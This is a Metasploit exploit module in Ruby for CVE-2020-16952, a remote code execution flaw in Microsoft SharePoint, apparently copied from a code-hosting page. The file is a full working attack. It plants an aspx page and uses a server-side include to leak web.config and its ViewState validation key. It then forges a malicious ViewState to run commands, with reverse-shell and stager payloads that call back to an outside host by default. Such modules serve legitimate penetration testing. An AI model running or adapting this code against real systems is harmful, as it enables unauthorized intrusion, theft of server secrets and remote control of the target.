322 lines
9.5 KiB
Ruby
322 lines
9.5 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
|
|
Rank = ExcellentRanking
|
|
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::ViewState
|
|
include Msf::Exploit::CmdStager
|
|
include Msf::Exploit::Powershell
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Microsoft SharePoint Server-Side Include and ViewState RCE',
|
|
'Description' => %q{
|
|
This module exploits a server-side include (SSI) in SharePoint to leak
|
|
the web.config file and forge a malicious ViewState with the extracted
|
|
validation key.
|
|
|
|
This exploit is authenticated and requires a user with page creation
|
|
privileges, which is a standard permission in SharePoint.
|
|
|
|
The web.config file will be stored in loot once retrieved, and the
|
|
VALIDATION_KEY option can be set to short-circuit the SSI and trigger
|
|
the ViewState deserialization.
|
|
|
|
Tested against SharePoint 2019 on Windows Server 2016.
|
|
},
|
|
'Author' => [
|
|
'mr_me', # Discovery and exploit
|
|
'wvu' # Module
|
|
],
|
|
'References' => [
|
|
['CVE', '2020-16952'],
|
|
['URL', 'https://srcincite.io/advisories/src-2020-0022/'],
|
|
['URL', 'https://srcincite.io/pocs/cve-2020-16952.py.txt'],
|
|
['URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16952']
|
|
],
|
|
'DisclosureDate' => '2020-10-13', # Public disclosure
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => 'win',
|
|
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
|
|
'Privileged' => false,
|
|
'Targets' => [
|
|
[
|
|
'Windows Command',
|
|
'Arch' => ARCH_CMD,
|
|
'Type' => :win_cmd,
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
|
|
}
|
|
],
|
|
[
|
|
'Windows Dropper',
|
|
'Arch' => [ARCH_X86, ARCH_X64],
|
|
'Type' => :win_dropper,
|
|
'CmdStagerFlavor' => %i[psh_invokewebrequest certutil vbs],
|
|
'DefaultOptions' => {
|
|
'CMDSTAGER::FLAVOR' => :psh_invokewebrequest,
|
|
'PAYLOAD' => 'windows/x64/meterpreter_reverse_https'
|
|
}
|
|
],
|
|
[
|
|
'PowerShell Stager',
|
|
'Arch' => [ARCH_X86, ARCH_X64],
|
|
'Type' => :psh_stager,
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'windows/x64/meterpreter/reverse_https'
|
|
}
|
|
]
|
|
],
|
|
'DefaultTarget' => 2,
|
|
'DefaultOptions' => {
|
|
'DotNetGadgetChain' => :TypeConfuseDelegate
|
|
},
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [UNRELIABLE_SESSION], # SSI may fail the second time
|
|
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK]
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options([
|
|
OptString.new('TARGETURI', [true, 'Base path', '/']),
|
|
OptString.new('VALIDATION_KEY', [false, 'ViewState validation key']),
|
|
OptString.new('COOKIE', [false, 'SharePoint cookie if you have one']),
|
|
# "Promote" these advanced options so we don't have to pass around our own
|
|
OptString.new('HttpUsername', [false, 'SharePoint username']),
|
|
OptString.new('HttpPassword', [false, 'SharePoint password'])
|
|
])
|
|
end
|
|
|
|
def post_auth?
|
|
true
|
|
end
|
|
|
|
def username
|
|
datastore['HttpUsername']
|
|
end
|
|
|
|
def password
|
|
datastore['HttpPassword']
|
|
end
|
|
|
|
def cookie
|
|
datastore['COOKIE']
|
|
end
|
|
|
|
def vuln_builds
|
|
# https://docs.microsoft.com/en-us/officeupdates/sharepoint-updates
|
|
# https://buildnumbers.wordpress.com/sharepoint/
|
|
[
|
|
[Gem::Version.new('15.0.0.4571'), Gem::Version.new('15.0.0.5275')], # SharePoint 2013
|
|
[Gem::Version.new('16.0.0.4351'), Gem::Version.new('16.0.0.5056')], # SharePoint 2016
|
|
[Gem::Version.new('16.0.0.10337'), Gem::Version.new('16.0.0.10366')] # SharePoint 2019
|
|
]
|
|
end
|
|
|
|
def check
|
|
res = send_request_cgi(
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path),
|
|
'cookie' => cookie
|
|
)
|
|
|
|
unless res
|
|
return CheckCode::Unknown('Target did not respond to check.')
|
|
end
|
|
|
|
# Hat tip @tsellers-r7
|
|
#
|
|
# MicrosoftSharePointTeamServices: 16.0.0.10337: 1; RequireReadOnly
|
|
unless /^(?<build>[\d.]+):/ =~ res.headers['MicrosoftSharePointTeamServices']
|
|
return CheckCode::Unknown('Target does not appear to be running SharePoint.')
|
|
end
|
|
|
|
if vuln_builds.any? { |build_range| Gem::Version.new(build).between?(*build_range) }
|
|
return CheckCode::Appears("SharePoint #{build} is a vulnerable build.")
|
|
end
|
|
|
|
CheckCode::Safe("SharePoint #{build} is not a vulnerable build.")
|
|
end
|
|
|
|
def exploit
|
|
unless username && password
|
|
fail_with(Failure::BadConfig, 'HttpUsername and HttpPassword are required for exploitation')
|
|
end
|
|
|
|
if (@validation_key = datastore['VALIDATION_KEY'])
|
|
print_status("Using ViewState validation key #{@validation_key}")
|
|
else
|
|
create_ssi_page
|
|
leak_web_config
|
|
end
|
|
|
|
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
|
|
|
|
case target['Type']
|
|
when :win_cmd
|
|
execute_command(payload.encoded)
|
|
when :win_dropper
|
|
execute_cmdstager
|
|
when :psh_stager
|
|
execute_command(cmd_psh_payload(
|
|
payload.encoded,
|
|
payload.arch.first,
|
|
remove_comspec: true
|
|
))
|
|
end
|
|
end
|
|
|
|
def create_ssi_page
|
|
print_status("Creating page for SSI: #{ssi_path}")
|
|
|
|
res = send_request_cgi(
|
|
'method' => 'PUT',
|
|
'uri' => ssi_path,
|
|
'cookie' => cookie,
|
|
'data' => ssi_page
|
|
)
|
|
|
|
unless res
|
|
fail_with(Failure::Unreachable, "Target did not respond to #{__method__}")
|
|
end
|
|
|
|
unless [200, 201].include?(res.code)
|
|
if res.code == 401
|
|
fail_with(Failure::NoAccess, "Failed to auth with creds #{username}:#{password}")
|
|
end
|
|
|
|
fail_with(Failure::NotFound, 'Failed to create page')
|
|
end
|
|
|
|
print_good('Successfully created page')
|
|
@page_created = true
|
|
end
|
|
|
|
def leak_web_config
|
|
print_status('Leaking web.config')
|
|
|
|
res = send_request_cgi(
|
|
'method' => 'GET',
|
|
'uri' => ssi_path,
|
|
'cookie' => cookie,
|
|
'headers' => {
|
|
ssi_header => '<form runat="server" /><!--#include virtual="/web.config"-->'
|
|
}
|
|
)
|
|
|
|
unless res
|
|
fail_with(Failure::Unreachable, "Target did not respond to #{__method__}")
|
|
end
|
|
|
|
unless res.code == 200
|
|
fail_with(Failure::NotFound, "Failed to retrieve #{ssi_path}")
|
|
end
|
|
|
|
unless (web_config = res.get_xml_document.at('//configuration'))
|
|
fail_with(Failure::NotFound, 'Failed to extract web.config from response')
|
|
end
|
|
|
|
print_good("Saved web.config to #{store_loot('web.config', 'text/xml', rhost, web_config.to_xml, 'web.config', name)}")
|
|
|
|
unless (@validation_key = extract_viewstate_validation_key(web_config))
|
|
fail_with(Failure::NotFound, 'Failed to extract ViewState validation key')
|
|
end
|
|
|
|
print_good("ViewState validation key: #{@validation_key}")
|
|
ensure
|
|
delete_ssi_page if @page_created
|
|
end
|
|
|
|
def delete_ssi_page
|
|
print_status("Deleting #{ssi_path}")
|
|
|
|
res = send_request_cgi(
|
|
'method' => 'DELETE',
|
|
'uri' => ssi_path,
|
|
'cookie' => cookie,
|
|
'partial' => true
|
|
)
|
|
|
|
unless res
|
|
fail_with(Failure::Unreachable, "Target did not respond to #{__method__}")
|
|
end
|
|
|
|
unless res.code == 204
|
|
print_warning('Failed to delete page')
|
|
return
|
|
end
|
|
|
|
print_good('Successfully deleted page')
|
|
end
|
|
|
|
def execute_command(cmd, _opts = {})
|
|
vprint_status("Executing command: #{cmd}")
|
|
|
|
res = send_request_cgi(
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, '/_layouts/15/zoombldr.aspx'),
|
|
'cookie' => cookie,
|
|
'vars_post' => {
|
|
'__VIEWSTATE' => generate_viewstate_payload(
|
|
cmd,
|
|
extra: pack_viewstate_generator('63E6434F'), # /_layouts/15/zoombldr.aspx
|
|
algo: 'sha256',
|
|
key: pack_viewstate_validation_key(@validation_key)
|
|
)
|
|
}
|
|
)
|
|
|
|
unless res
|
|
fail_with(Failure::Unreachable, "Target did not respond to #{__method__}")
|
|
end
|
|
|
|
unless res.code == 200
|
|
fail_with(Failure::PayloadFailed, "Failed to execute command: #{cmd}")
|
|
end
|
|
|
|
vprint_good('Successfully executed command')
|
|
end
|
|
|
|
def ssi_page
|
|
<<~XML
|
|
<%@ Register Tagprefix="WebPartPages" Namespace="Microsoft.SharePoint.WebPartPages" Assembly="Microsoft.SharePoint, Version=14.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
|
|
<WebPartPages:DataFormWebPart runat="server">
|
|
<ParameterBindings>
|
|
<ParameterBinding Name="#{ssi_param}" Location="ServerVariable(HTTP_#{ssi_header})" DefaultValue="" />
|
|
</ParameterBindings>
|
|
<xsl>
|
|
<xsl:stylesheet xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
|
|
<xsl:param name="#{ssi_param}" />
|
|
<xsl:template match="/">
|
|
<xsl:value-of select="$#{ssi_param}" disable-output-escaping="yes" />
|
|
</xsl:template>
|
|
</xsl:stylesheet>
|
|
</xsl>
|
|
</WebPartPages:DataFormWebPart>
|
|
XML
|
|
end
|
|
|
|
def ssi_path
|
|
@ssi_path ||= normalize_uri(target_uri.path, "#{rand_text_alphanumeric(8..42)}.aspx")
|
|
end
|
|
|
|
def ssi_header
|
|
@ssi_header ||= rand_text_alphanumeric(8..42)
|
|
end
|
|
|
|
def ssi_param
|
|
@ssi_param ||= rand_text_alphanumeric(8..42)
|
|
end
|
|
|
|
end
|